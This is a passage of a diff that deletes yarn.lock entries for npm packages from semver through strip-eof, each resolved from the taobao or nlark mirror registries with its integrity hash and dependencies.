-  resolved "https://registry.npm.taobao.org/semver/download/semver-7.0.0.tgz?cache=0&sync_timestamp=1616463540350&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e"
-  integrity sha1-XzyjV2HkfgWyBsba/yz4FPAxa44=
-
-semver@7.3.2:
-  version "7.3.2"
-  resolved "https://registry.npm.taobao.org/semver/download/semver-7.3.2.tgz?cache=0&sync_timestamp=1616463540350&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-7.3.2.tgz#604962b052b81ed0786aae84389ffba70ffd3938"
-  integrity sha1-YElisFK4HtB4aq6EOJ/7pw/9OTg=
-
-semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.3.0:
-  version "6.3.0"
-  resolved "https://registry.npm.taobao.org/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1616463540350&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
-  integrity sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0=
-
-semver@^7.2.1, semver@^7.3.2, semver@^7.3.5:
-  version "7.3.5"
-  resolved "https://registry.npm.taobao.org/semver/download/semver-7.3.5.tgz?cache=0&sync_timestamp=1616463540350&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-7.3.5.tgz#0b621c879348d8998e4b0e4be94b3f12e6018ef7"
-  integrity sha1-C2Ich5NI2JmOSw5L6Us/EuYBjvc=
-  dependencies:
-    lru-cache "^6.0.0"
-
-send@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.nlark.com/send/download/send-0.17.1.tgz?cache=0&sync_timestamp=1618847046717&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsend%2Fdownload%2Fsend-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
-  integrity sha1-wdiwWfeQD3Rm3Uk4vcROEd2zdsg=
-  dependencies:
-    debug "2.6.9"
-    depd "~1.1.2"
-    destroy "~1.0.4"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    fresh "0.5.2"
-    http-errors "~1.7.2"
-    mime "1.6.0"
-    ms "2.1.1"
-    on-finished "~2.3.0"
-    range-parser "~1.2.1"
-    statuses "~1.5.0"
-
-serialize-javascript@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-4.0.0.tgz#b525e1238489a5ecfc42afacc3fe99e666f4b1aa"
-  integrity sha1-tSXhI4SJpez8Qq+sw/6Z5mb0sao=
-  dependencies:
-    randombytes "^2.1.0"
-
-serialize-javascript@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-5.0.1.tgz#7886ec848049a462467a97d3d918ebb2aaf934f4"
-  integrity sha1-eIbshIBJpGJGepfT2Rjrsqr5NPQ=
-  dependencies:
-    randombytes "^2.1.0"
-
-serve-index@^1.9.1:
-  version "1.9.1"
-  resolved "https://registry.npm.taobao.org/serve-index/download/serve-index-1.9.1.tgz#d3768d69b1e7d82e5ce050fff5b453bea12a9239"
-  integrity sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=
-  dependencies:
-    accepts "~1.3.4"
-    batch "0.6.1"
-    debug "2.6.9"
-    escape-html "~1.0.3"
-    http-errors "~1.6.2"
-    mime-types "~2.1.17"
-    parseurl "~1.3.2"
-
-serve-static@1.14.1:
-  version "1.14.1"
-  resolved "https://registry.nlark.com/serve-static/download/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
-  integrity sha1-Zm5jbcTwEPfvKZcKiKZ0MgiYsvk=
-  dependencies:
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    parseurl "~1.3.3"
-    send "0.17.1"
-
-set-blocking@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/set-blocking/download/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-  integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
-
-set-value@^2.0.0, set-value@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/set-value/download/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
-  integrity sha1-oY1AUw5vB95CKMfe/kInr4ytAFs=
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-extendable "^0.1.1"
-    is-plain-object "^2.0.3"
-    split-string "^3.0.1"
-
-setimmediate@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/setimmediate/download/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
-  integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
-
-setprototypeof@1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656"
-  integrity sha1-0L2FU2iHtv58DYGMuWLZ2RxU5lY=
-
-setprototypeof@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
-  integrity sha1-fpWsskqpL1iF4KvvW6ExMw1K5oM=
-
-sha.js@^2.4.0, sha.js@^2.4.8:
-  version "2.4.11"
-  resolved "https://registry.npm.taobao.org/sha.js/download/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
-  integrity sha1-N6XPC4HsvGlD3hCbopYNGyZYSuc=
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-shebang-command@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/shebang-command/download/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-  integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
-  dependencies:
-    shebang-regex "^1.0.0"
-
-shebang-command@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/shebang-command/download/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
-  integrity sha1-zNCvT4g1+9wmW4JGGq8MNmY/NOo=
-  dependencies:
-    shebang-regex "^3.0.0"
-
-shebang-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-  integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
-
-shebang-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
-  integrity sha1-rhbxZE2HPsrYQ7AwexQzYtTEIXI=
-
-shell-quote@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.npm.taobao.org/shell-quote/download/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2"
-  integrity sha1-Z6fQLHbJ2iT5nSCAj8re0ODgS+I=
-
-shellwords@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/shellwords/download/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b"
-  integrity sha1-1rkYHBpI05cyTISHHvvPxz/AZUs=
-
-side-channel@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/side-channel/download/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf"
-  integrity sha1-785cj9wQTudRslxY1CkAEfpeos8=
-  dependencies:
-    call-bind "^1.0.0"
-    get-intrinsic "^1.0.2"
-    object-inspect "^1.9.0"
-
-signal-exit@^3.0.0, signal-exit@^3.0.2:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/signal-exit/download/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
-  integrity sha1-oUEMLt2PB3sItOJTyOrPyvBXRhw=
-
-simple-swizzle@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.npm.taobao.org/simple-swizzle/download/simple-swizzle-0.2.2.tgz#a4da6b635ffcccca33f70d17cb92592de95e557a"
-  integrity sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=
-  dependencies:
-    is-arrayish "^0.3.1"
-
-sisteransi@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/sisteransi/download/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
-  integrity sha1-E01oEpd1ZDfMBcoBNw06elcQde0=
-
-slash@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/slash/download/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
-  integrity sha1-ZTm+hwwWWtvVJAIg2+Nh8bxNRjQ=
-
-slice-ansi@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/slice-ansi/download/slice-ansi-4.0.0.tgz?cache=0&sync_timestamp=1618554945131&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fslice-ansi%2Fdownload%2Fslice-ansi-4.0.0.tgz#500e8dd0fd55b05815086255b3195adf2a45fe6b"
-  integrity sha1-UA6N0P1VsFgVCGJVsxla3ypF/ms=
-  dependencies:
-    ansi-styles "^4.0.0"
-    astral-regex "^2.0.0"
-    is-fullwidth-code-point "^3.0.0"
-
-snapdragon-node@^2.0.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/snapdragon-node/download/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
-  integrity sha1-bBdfhv8UvbByRWPo88GwIaKGhTs=
-  dependencies:
-    define-property "^1.0.0"
-    isobject "^3.0.0"
-    snapdragon-util "^3.0.1"
-
-snapdragon-util@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/snapdragon-util/download/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2"
-  integrity sha1-+VZHlIbyrNeXAGk/b3uAXkWrVuI=
-  dependencies:
-    kind-of "^3.2.0"
-
-snapdragon@^0.8.1:
-  version "0.8.2"
-  resolved "https://registry.npm.taobao.org/snapdragon/download/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d"
-  integrity sha1-ZJIufFZbDhQgS6GqfWlkJ40lGC0=
-  dependencies:
-    base "^0.11.1"
-    debug "^2.2.0"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    map-cache "^0.2.2"
-    source-map "^0.5.6"
-    source-map-resolve "^0.5.0"
-    use "^3.1.0"
-
-sockjs-client@^1.5.0:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/sockjs-client/download/sockjs-client-1.5.1.tgz#256908f6d5adfb94dabbdbd02c66362cca0f9ea6"
-  integrity sha1-JWkI9tWt+5Tau9vQLGY2LMoPnqY=
-  dependencies:
-    debug "^3.2.6"
-    eventsource "^1.0.7"
-    faye-websocket "^0.11.3"
-    inherits "^2.0.4"
-    json3 "^3.3.3"
-    url-parse "^1.5.1"
-
-sockjs@^0.3.21:
-  version "0.3.21"
-  resolved "https://registry.npm.taobao.org/sockjs/download/sockjs-0.3.21.tgz?cache=0&sync_timestamp=1612938804584&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsockjs%2Fdownload%2Fsockjs-0.3.21.tgz#b34ffb98e796930b60a0cfa11904d6a339a7d417"
-  integrity sha1-s0/7mOeWkwtgoM+hGQTWozmn1Bc=
-  dependencies:
-    faye-websocket "^0.11.3"
-    uuid "^3.4.0"
-    websocket-driver "^0.7.4"
-
-sort-keys@^1.0.0:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/sort-keys/download/sort-keys-1.1.2.tgz#441b6d4d346798f1b4e49e8920adfba0e543f9ad"
-  integrity sha1-RBttTTRnmPG05J6JIK37oOVD+a0=
-  dependencies:
-    is-plain-obj "^1.0.0"
-
-source-list-map@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/source-list-map/download/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34"
-  integrity sha1-OZO9hzv8SEecyp6jpUeDXHwVSzQ=
-
-source-map-js@^0.6.2:
-  version "0.6.2"
-  resolved "https://registry.nlark.com/source-map-js/download/source-map-js-0.6.2.tgz#0bb5de631b41cfbda6cfba8bd05a80efdfd2385e"
-  integrity sha1-C7XeYxtBz72mz7qL0FqA79/SOF4=
-
-source-map-resolve@^0.5.0, source-map-resolve@^0.5.2:
-  version "0.5.3"
-  resolved "https://registry.npm.taobao.org/source-map-resolve/download/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a"
-  integrity sha1-GQhmvs51U+H48mei7oLGBrVQmho=
-  dependencies:
-    atob "^2.1.2"
-    decode-uri-component "^0.2.0"
-    resolve-url "^0.2.1"
-    source-map-url "^0.4.0"
-    urix "^0.1.0"
-
-source-map-resolve@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.npm.taobao.org/source-map-resolve/download/source-map-resolve-0.6.0.tgz#3d9df87e236b53f16d01e58150fc7711138e5ed2"
-  integrity sha1-PZ34fiNrU/FtAeWBUPx3EROOXtI=
-  dependencies:
-    atob "^2.1.2"
-    decode-uri-component "^0.2.0"
-
-source-map-support@^0.5.6, source-map-support@~0.5.12, source-map-support@~0.5.19:
-  version "0.5.19"
-  resolved "https://registry.npm.taobao.org/source-map-support/download/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61"
-  integrity sha1-qYti+G3K9PZzmWSMCFKRq56P7WE=
-  dependencies:
-    buffer-from "^1.0.0"
-    source-map "^0.6.0"
-
-source-map-url@^0.4.0:
-  version "0.4.1"
-  resolved "https://registry.npm.taobao.org/source-map-url/download/source-map-url-0.4.1.tgz#0af66605a745a5a2f91cf1bbf8a7afbc283dec56"
-  integrity sha1-CvZmBadFpaL5HPG7+KevvCg97FY=
-
-source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
-  integrity sha1-dHIq8y6WFOnCh6jQu95IteLxomM=
-
-source-map@^0.5.0, source-map@^0.5.6:
-  version "0.5.7"
-  resolved "https://registry.npm.taobao.org/source-map/download/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
-  integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
-
-source-map@^0.7.3, source-map@~0.7.2:
-  version "0.7.3"
-  resolved "https://registry.npm.taobao.org/source-map/download/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383"
-  integrity sha1-UwL4FpAxc1ImVECS5kmB91F1A4M=
-
-sourcemap-codec@^1.4.4:
-  version "1.4.8"
-  resolved "https://registry.npm.taobao.org/sourcemap-codec/download/sourcemap-codec-1.4.8.tgz#ea804bd94857402e6992d05a38ef1ae35a9ab4c4"
-  integrity sha1-6oBL2UhXQC5pktBaOO8a41qatMQ=
-
-spdx-correct@^3.0.0:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/spdx-correct/download/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
-  integrity sha1-3s6BrJweZxPl99G28X1Gj6U9iak=
-  dependencies:
-    spdx-expression-parse "^3.0.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-exceptions@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/spdx-exceptions/download/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d"
-  integrity sha1-PyjOGnegA3JoPq3kpDMYNSeiFj0=
-
-spdx-expression-parse@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/spdx-expression-parse/download/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
-  integrity sha1-z3D1BILu/cmOPOCmgz5KU87rpnk=
-  dependencies:
-    spdx-exceptions "^2.1.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-license-ids@^3.0.0:
-  version "3.0.9"
-  resolved "https://registry.nlark.com/spdx-license-ids/download/spdx-license-ids-3.0.9.tgz#8a595135def9592bda69709474f1cbeea7c2467f"
-  integrity sha1-illRNd75WSvaaXCUdPHL7qfCRn8=
-
-spdy-transport@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/spdy-transport/download/spdy-transport-3.0.0.tgz#00d4863a6400ad75df93361a1608605e5dcdcf31"
-  integrity sha1-ANSGOmQArXXfkzYaFghgXl3NzzE=
-  dependencies:
-    debug "^4.1.0"
-    detect-node "^2.0.4"
-    hpack.js "^2.1.6"
-    obuf "^1.1.2"
-    readable-stream "^3.0.6"
-    wbuf "^1.7.3"
-
-spdy@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.npm.taobao.org/spdy/download/spdy-4.0.2.tgz#b74f466203a3eda452c02492b91fb9e84a27677b"
-  integrity sha1-t09GYgOj7aRSwCSSuR+56EonZ3s=
-  dependencies:
-    debug "^4.1.0"
-    handle-thing "^2.0.0"
-    http-deceiver "^1.2.7"
-    select-hose "^2.0.0"
-    spdy-transport "^3.0.0"
-
-split-string@^3.0.1, split-string@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/split-string/download/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2"
-  integrity sha1-fLCd2jqGWFcFxks5pkZgOGguj+I=
-  dependencies:
-    extend-shallow "^3.0.0"
-
-sprintf-js@~1.0.2:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/sprintf-js/download/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
-  integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
-
-ssri@^6.0.1:
-  version "6.0.2"
-  resolved "https://registry.nlark.com/ssri/download/ssri-6.0.2.tgz?cache=0&sync_timestamp=1621364918494&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fssri%2Fdownload%2Fssri-6.0.2.tgz#157939134f20464e7301ddba3e90ffa8f7728ac5"
-  integrity sha1-FXk5E08gRk5zAd26PpD/qPdyisU=
-  dependencies:
-    figgy-pudding "^3.5.1"
-
-ssri@^8.0.1:
-  version "8.0.1"
-  resolved "https://registry.nlark.com/ssri/download/ssri-8.0.1.tgz?cache=0&sync_timestamp=1621364918494&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fssri%2Fdownload%2Fssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af"
-  integrity sha1-Y45OQ54v+9LNKJd21cpFfE9Roq8=
-  dependencies:
-    minipass "^3.1.1"
-
-stable@^0.1.8:
-  version "0.1.8"
-  resolved "https://registry.npm.taobao.org/stable/download/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
-  integrity sha1-g26zyDgv4pNv6vVEYxAXzn1Ho88=
-
-stack-utils@^2.0.2:
-  version "2.0.3"
-  resolved "https://registry.npm.taobao.org/stack-utils/download/stack-utils-2.0.3.tgz?cache=0&sync_timestamp=1617647925126&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstack-utils%2Fdownload%2Fstack-utils-2.0.3.tgz#cd5f030126ff116b78ccb3c027fe302713b61277"
-  integrity sha1-zV8DASb/EWt4zLPAJ/4wJxO2Enc=
-  dependencies:
-    escape-string-regexp "^2.0.0"
-
-stackframe@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/stackframe/download/stackframe-1.2.0.tgz#52429492d63c62eb989804c11552e3d22e779303"
-  integrity sha1-UkKUktY8YuuYmATBFVLj0i53kwM=
-
-static-extend@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/static-extend/download/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
-  integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
-  dependencies:
-    define-property "^0.2.5"
-    object-copy "^0.1.0"
-
-"statuses@>= 1.4.0 < 2", "statuses@>= 1.5.0 < 2", statuses@~1.5.0:
-  version "1.5.0"
-  resolved "https://registry.nlark.com/statuses/download/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
-  integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
-
-stream-browserify@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/stream-browserify/download/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b"
-  integrity sha1-h1IdOKRKp+6RzhzSpH3wy0ndZgs=
-  dependencies:
-    inherits "~2.0.1"
-    readable-stream "^2.0.2"
-
-stream-each@^1.1.0:
-  version "1.2.3"
-  resolved "https://registry.npm.taobao.org/stream-each/download/stream-each-1.2.3.tgz#ebe27a0c389b04fbcc233642952e10731afa9bae"
-  integrity sha1-6+J6DDibBPvMIzZClS4Qcxr6m64=
-  dependencies:
-    end-of-stream "^1.1.0"
-    stream-shift "^1.0.0"
-
-stream-http@^2.7.2:
-  version "2.8.3"
-  resolved "https://registry.npm.taobao.org/stream-http/download/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc"
-  integrity sha1-stJCRpKIpaJ+xP6JM6z2I95lFPw=
-  dependencies:
-    builtin-status-codes "^3.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.3.6"
-    to-arraybuffer "^1.0.0"
-    xtend "^4.0.0"
-
-stream-shift@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/stream-shift/download/stream-shift-1.0.1.tgz#d7088281559ab2778424279b0877da3c392d5a3d"
-  integrity sha1-1wiCgVWasneEJCebCHfaPDktWj0=
-
-strict-uri-encode@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/strict-uri-encode/download/strict-uri-encode-1.1.0.tgz#279b225df1d582b1f54e65addd4352e18faa0713"
-  integrity sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=
-
-string-length@^4.0.1:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/string-length/download/string-length-4.0.2.tgz?cache=0&sync_timestamp=1622904808441&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstring-length%2Fdownload%2Fstring-length-4.0.2.tgz#a8a8dc7bd5c1a82b9b3c8b87e125f66871b6e57a"
-  integrity sha1-qKjce9XBqCubPIuH4SX2aHG25Xo=
-  dependencies:
-    char-regex "^1.0.2"
-    strip-ansi "^6.0.0"
-
-string-natural-compare@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/string-natural-compare/download/string-natural-compare-3.0.1.tgz#7a42d58474454963759e8e8b7ae63d71c1e7fdf4"
-  integrity sha1-ekLVhHRFSWN1no6LeuY9ccHn/fQ=
-
-string-width@^3.0.0, string-width@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/string-width/download/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961"
-  integrity sha1-InZ74htirxCBV0MG9prFG2IgOWE=
-  dependencies:
-    emoji-regex "^7.0.1"
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^5.1.0"
-
-string-width@^4.1.0, string-width@^4.2.0:
-  version "4.2.2"
-  resolved "https://registry.npm.taobao.org/string-width/download/string-width-4.2.2.tgz#dafd4f9559a7585cfba529c6a0a4f73488ebd4c5"
-  integrity sha1-2v1PlVmnWFz7pSnGoKT3NIjr1MU=
-  dependencies:
-    emoji-regex "^8.0.0"
-    is-fullwidth-code-point "^3.0.0"
-    strip-ansi "^6.0.0"
-
-string.prototype.matchall@^4.0.5:
-  version "4.0.5"
-  resolved "https://registry.nlark.com/string.prototype.matchall/download/string.prototype.matchall-4.0.5.tgz#59370644e1db7e4c0c045277690cf7b01203c4da"
-  integrity sha1-WTcGROHbfkwMBFJ3aQz3sBIDxNo=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.2"
-    get-intrinsic "^1.1.1"
-    has-symbols "^1.0.2"
-    internal-slot "^1.0.3"
-    regexp.prototype.flags "^1.3.1"
-    side-channel "^1.0.4"
-
-string.prototype.trimend@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/string.prototype.trimend/download/string.prototype.trimend-1.0.4.tgz#e75ae90c2942c63504686c18b287b4a0b1a45f80"
-  integrity sha1-51rpDClCxjUEaGwYsoe0oLGkX4A=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-string.prototype.trimstart@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/string.prototype.trimstart/download/string.prototype.trimstart-1.0.4.tgz?cache=0&sync_timestamp=1614127318238&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstring.prototype.trimstart%2Fdownload%2Fstring.prototype.trimstart-1.0.4.tgz#b36399af4ab2999b4c9c648bd7a3fb2bb26feeed"
-  integrity sha1-s2OZr0qymZtMnGSL16P7K7Jv7u0=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-string_decoder@^1.0.0, string_decoder@^1.1.1:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
-  integrity sha1-QvEUWUpGzxqOMLCoT1bHjD7awh4=
-  dependencies:
-    safe-buffer "~5.2.0"
-
-string_decoder@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
-  integrity sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=
-  dependencies:
-    safe-buffer "~5.1.0"
-
-stringify-object@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.npm.taobao.org/stringify-object/download/stringify-object-3.3.0.tgz#703065aefca19300d3ce88af4f5b3956d7556629"
-  integrity sha1-cDBlrvyhkwDTzoivT1s5VtdVZik=
-  dependencies:
-    get-own-enumerable-property-symbols "^3.0.0"
-    is-obj "^1.0.1"
-    is-regexp "^1.0.0"
-
-strip-ansi@6.0.0, strip-ansi@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-6.0.0.tgz?cache=0&sync_timestamp=1618553320591&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532"
-  integrity sha1-CxVx3XZpzNTz4G4U7x7tJiJa5TI=
-  dependencies:
-    ansi-regex "^5.0.0"
-
-strip-ansi@^3.0.0, strip-ansi@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-3.0.1.tgz?cache=0&sync_timestamp=1618553320591&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-  integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-strip-ansi@^5.0.0, strip-ansi@^5.1.0, strip-ansi@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-5.2.0.tgz?cache=0&sync_timestamp=1618553320591&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
-  integrity sha1-jJpTb+tq/JYr36WxBKUJHBrZwK4=
-  dependencies:
-    ansi-regex "^4.1.0"
-
-strip-bom@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/strip-bom/download/strip-bom-3.0.0.tgz?cache=0&sync_timestamp=1618847025316&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-bom%2Fdownload%2Fstrip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
-  integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=
-
-strip-bom@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/strip-bom/download/strip-bom-4.0.0.tgz?cache=0&sync_timestamp=1618847025316&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-bom%2Fdownload%2Fstrip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878"
-  integrity sha1-nDUFwdtFvO3KPZz3oW9cWqOQGHg=
-
-strip-comments@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/strip-comments/download/strip-comments-1.0.2.tgz#82b9c45e7f05873bee53f37168af930aa368679d"
-  integrity sha1-grnEXn8FhzvuU/NxaK+TCqNoZ50=
-  dependencies:
-    babel-extract-comments "^1.0.0"
-    babel-plugin-transform-object-rest-spread "^6.26.0"
-
-strip-eof@^1.0.0:
-  version "1.0.0"
